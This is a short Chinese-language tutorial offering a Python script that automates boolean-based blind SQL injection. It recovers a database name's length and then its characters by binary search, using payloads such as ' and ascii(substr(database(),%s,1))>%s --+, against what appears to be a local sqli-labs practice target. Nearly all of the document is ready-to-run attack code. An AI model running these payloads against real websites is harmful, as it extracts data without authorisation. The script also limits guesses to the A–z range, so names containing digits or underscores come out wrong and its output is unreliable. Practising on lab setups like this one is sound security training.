SQL注入获取数据库名—自动化脚本

1、搭建好python环境，在脚本目录下新建cmd.bat文件（文件内容：cmd.exe）。

 

2、修改好标志位和payload后，点击cmd.bat进入cmd见面，输入python 文件名运行就OK了。

3、脚本源码：

import requests
import sys
payload=''
url=''
flag='You are in'#标志位——代表请求是否正确
def StartSqli(url):
    DBNameLen=0
    print('[-]开始获取数据库的长度')
    for DBNameLen in range(1,100):
        payload="' and if(length(database())=%d,1,0)--+"%DBNameLen
        targeturl=url % payload
        response=requests.get(targeturl)
        if response.text.find('You are in')!=-1:
            print(targeturl)
            print("[+]数据库长度：%d"%DBNameLen)
            DBName(url,DBNameLen)
            break
def DBName(url,Len):
    payload="' and ascii(substr(database(),%s,1))>%s --+"
    database=''
    print("开始获取数据库名：")
    for i in range(1,Len+1):
        max=122    #z：对应ASCII值
        min=65    #A
        while abs(max-min)>1: 
            mid=int((max+min)/2)
            p=payload % (str(i),str(mid))
            response=requests.get(url % p)
            if flag in response.content.decode("utf-8"): 
                min=mid
            else:
                max=mid
        database=database+chr(max)
        print("[-]The database:%s" % database)  

if __name__ == '__main__':
    url='http://192.168.243.130:8080/Less-8/?id=3%s'
    StartSqli(url)